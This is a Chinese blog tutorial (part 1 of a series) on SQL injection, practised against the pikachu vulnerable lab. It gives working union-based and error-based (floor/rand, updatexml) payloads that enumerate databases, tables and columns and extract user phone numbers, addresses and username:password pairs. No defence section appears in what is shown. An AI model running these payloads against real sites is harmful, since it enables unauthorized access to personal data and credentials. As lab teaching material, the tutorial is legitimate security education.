网络安全-SQL注入原理、攻击及防御(1)

简介: 网络安全-SQL注入原理、攻击及防御(1)

SQL注入原理

程序员没有遵循代码与数据分离原则,使用户数据作为代码执行。

SQL注入条件

  • 用户可以控制数据的输入。
  • 原本要运行的代码拼接了用户的输入并运行。

基本知识(Mysql)

注入点检测

页面返回正常

and 1=1--+

or 1=2--+

页面返回异常

and 1=2--+

or 1=1--+

添加 sleep(3)看页面是否返回时间长

其他

关于select、union、limit、database等sql语句及函数我都放在了这篇文章,如果您对基本函数还不了解,可以先看下面的文章。

网络安全-Mysql注入知识点

文中有使用sqlmap,关于sqlmap的内容,可以查看网络安全-sqlmap学习笔记

基本流程

2020062310470442.png

                                       sql注入流程图

SQL注入技术

2020062310470442.png

                             sql注入技术

先按照sqlmap的分类(BUETSQ),然后是其他,由易到难,使用靶机pikachu

Union注入攻击

利用union查询来运行想要的sql语句

字符型注入,目标:获取当前数据库中的所有用户名及其他感兴趣的信息。

注入点判断

d' and 1=1#

2020062310470442.png

                                返回正常

字符型注入点,使用单引号闭合即可

字段判断

order by 1和2时没有问题

d' order by 3#

2020062310470442.png

                              order by 3出错

字段数为2,有回显,union没有被过滤,使用Union注入

sql语句猜测,从某个表根据用户名返回两个字段

select field1,field2 from table where 用户名 = ''

查询当前数据库

当前的用database()函数即可

d' UNION SELECT 1,database() from information_schema.schemata#

查询当前数据库

当前的用database()函数即可

d' UNION SELECT 1,database() from information_schema.schemata#

2020062310470442.png

                  获取数据库

得到数据库名pikachu

查询表名

d' UNION SELECT 1,table_name from information_schema.tables where table_schema='pikachu'#

查询到的表

2020062310470442.png

                  数据库的表

得到表名httpinfo、member、message、users、xssblind

查询列名

根据我们的目标,假设对member感兴趣

d' UNION SELECT 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='member'#

2020062310470442.png

             列名

users表中有id、username、pw、phonenum、address、email

通过以上信息,猜测sql语句

select id,email from member where username = ''

查询所需字段值

有了username就可以通过他给的表单获取对应email,所以就假设我们对phone、address更感兴趣,0x3a是冒号

d' UNION SELECT 1,group_concat(username,0x3a,phonenum,0x3a,address) from member#

2020062310470442.png

                                            得到数据

你可以尝试以下查询 vince。

Error注入攻击

如果union被过滤,可以使用基于错误的注入攻击,一般利用floor,updatexml, extractvalue函数、还有exp和一些几何函数,补充exp:Error Based SQL Injection Using EXP | 🔐Blog of Osanda。利用了"DOUBLE value is out of range"。


Floor函数报错


关键函数:

Rand() -------产生0~1的伪随机数

Floor() -------向下取整数

Concat() -----连接字符串

Count() ------计算总数

Payload如下:

Select count(*),concat(PAYLOAD,floor(rand(0)*2))x from 表名 group by x;

2020062310470442.png

               floor和rand(0)产生重复序列

根据x字段进行分组,统计x的个数

2020062310470442.png

group by key 在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新数据时,不再计算rand值);如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)


如果此时临时表只有key为1的行不存在key为0的行,那么数据库要将该条记录插入临时表,由于是随机数,插时又要计算一下随机值,此时 floor(random(0)*2)结果可能为1,就会导致插入时冲突而报错。即检测时和插入时两次计算了随机数的值。

2020062310470442.png

爆数据库lady_killer9。

这里利用updatexml函数,报错原理简单,第二个不是XPATH类型字符串就报错。

一般使用如下结构,sql是你想运行的sql语句。

updatexml(1,concat(0x7e,(sql),0x7e),1)

0x7e是~,使用char(126)也是一样的,concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出sql语句运行后的结果。

2020062310470442.png

                                       sqlmap集成

sqlmap集成了上述的三种方式,同时还有其他的

字符型注入,目标:获取当前数据库中的users表中的所有用户名及其他感兴趣的信息。

注入点和字段数判断同上,已知:

字符型注入点,使用单引号闭合即可

字段数为2,有回显,updatexml没有被过滤,使用报错注入

查询表名

d' and updatexml(1,concat(0x7e,(SELECT table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#

注意,结果只能是一行,所以使用了limit 0,1获得第一个表

2020062310470442.png

当sql语句是使用 limit 3,1是时候就可以得到了users表。

查询列名

d' and updatexml(1,concat(0x7e,(SELECT column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#

2020062310470442.png

                             第一个列名

同样,当sql语句是使用 limit 1,1、limit 2,1、limit 3,1时,就得到了username、password、level三个列名。

查询所需字段值

假设我们对username和password感兴趣

d' and updatexml(1,concat(0x7e,(SELECT group_concat(username,0x3a,password) from users limit 0,1),0x7e),1)#

2020062310470442.png

                                             结果

当然密码加了密,剩下的交给搞Cryto的人吧。可以看出报错注入攻击比较麻烦,如果有回显,union没有被过滤,还是优先使用union注入攻击。


----------------------------------------没有回显-----------------------------

接下来就是难度中等的了,没有回显,采用盲注


相关文章
|
1天前
|
安全 算法 网络安全
网络安全的盾牌与剑:漏洞防御与加密技术深度解析
在数字信息的海洋中,网络安全是航行者不可或缺的指南针。本文将深入探讨网络安全的两大支柱——漏洞防御和加密技术,揭示它们如何共同构筑起信息时代的安全屏障。从最新的网络攻击手段到防御策略,再到加密技术的奥秘,我们将一起揭开网络安全的神秘面纱,理解其背后的科学原理,并掌握保护个人和企业数据的关键技能。
12 3
|
3天前
|
SQL 安全 算法
网络安全漏洞与防御策略:深入加密技术和安全意识的培养
在数字化时代,网络安全的重要性日益凸显。本文将深入探讨网络安全的多个维度,包括常见的网络漏洞类型、加密技术的应用以及如何培养强大的网络安全意识。通过分析这些关键要素,读者将获得保护个人和组织数据免受威胁所需的知识。
|
7天前
|
SQL 监控 安全
网络安全的盾牌与利剑:漏洞防御与加密技术解析
在数字时代的洪流中,网络安全如同一场没有硝烟的战争。本文将深入探讨网络安全的核心议题,从网络漏洞的发现到防御策略的实施,以及加密技术的运用,揭示保护信息安全的关键所在。通过实际案例分析,我们将一窥网络攻击的手段和防御的艺术,同时提升个人与企业的安全意识,共同构筑一道坚固的数字防线。
|
3天前
|
SQL 安全 网络安全
网络安全的盾牌与利剑:漏洞防御与加密技术的深度剖析
在数字化时代的浪潮中,网络信息安全成为维护个人隐私和组织资产的关键防线。本文将深入探讨网络安全的核心议题,包括常见的安全漏洞、先进的加密技术以及提升整体网络安全意识的重要性。通过分析最新的攻击手段和防御策略,旨在为读者提供一个关于如何构建更安全网络环境的实战指南。
|
10天前
|
安全 算法 网络安全
网络安全的盾牌与剑:漏洞防御与加密技术解析
【10月更文挑战第42天】在数字时代的海洋中,网络安全是守护数据宝藏的坚固盾牌和锋利之剑。本文将揭示网络安全的两大支柱——漏洞防御和加密技术,通过深入浅出的方式,带你了解如何发现并堵塞安全漏洞,以及如何使用加密技术保护信息不被窃取。我们将一起探索网络安全的奥秘,让你成为信息时代的智者和守护者。
22 6
|
10天前
|
存储 SQL 安全
网络安全的屏障与钥匙:漏洞防御与加密技术解析
【10月更文挑战第42天】在数字时代的浪潮中,网络安全成为守护个人隐私与企业数据不被侵犯的关键防线。本文将深入探讨网络安全中的两大核心议题——漏洞防御和加密技术。我们将从网络漏洞的识别开始,逐步揭示如何通过有效的安全策略和技术手段来防范潜在的网络攻击。随后,文章将转向加密技术的奥秘,解读其在数据传输和存储过程中保护信息安全的作用机制。最后,强调提升个人和企业的安全意识,是构建坚固网络安全屏障的重要一环。
|
10天前
|
存储 SQL 安全
网络防御的盾牌与剑:探索网络安全漏洞、加密技术及安全意识的重要性
【10月更文挑战第42天】在数字时代的浪潮中,网络安全成为保护个人隐私、企业资产和国家安全的关键。本文将深入分析网络安全漏洞的根源,探讨加密技术如何为数据提供护盾,并强调提升全民网络安全意识的必要性。通过深入浅出的讲解和实际案例,我们旨在构建一道坚固的网络防线,为抵御网络威胁提供策略和工具。
|
13天前
|
SQL 安全 网络安全
网络安全的盾牌与矛:探索漏洞防御与加密技术
【10月更文挑战第39天】在数字时代的浪潮中,网络安全成了守护个人隐私与企业资产的坚固盾牌。本文将带你深入了解网络安全的两大支柱——漏洞防御与加密技术。我们将从基础概念入手,逐步揭示网络攻击者如何利用安全漏洞发起攻击,同时探讨防御者如何通过加密技术和安全意识的提升来构建坚不可摧的防线。你将学习到如何识别常见的安全威胁,以及采取哪些实际措施来保护自己的数字足迹。让我们共同铸就一道网络安全的长城,为信息时代保驾护航。
|
13天前
|
机器学习/深度学习 人工智能 安全
AI与网络安全:防御黑客的新武器
在数字化时代,网络安全面临巨大挑战。本文探讨了人工智能(AI)在网络安全中的应用,包括威胁识别、自动化防御、漏洞发现和预测分析,展示了AI如何提升防御效率和准确性,成为对抗网络威胁的强大工具。
|
5天前
|
安全 网络安全 数据安全/隐私保护
网络安全与信息安全:关于网络安全漏洞、加密技术、安全意识等方面的知识分享
在数字化时代,网络安全和信息安全已成为我们生活中不可或缺的一部分。本文将介绍网络安全漏洞、加密技术和安全意识等方面的知识,并提供一些实用的技巧和建议,帮助读者更好地保护自己的网络安全和信息安全。
下一篇
无影云桌面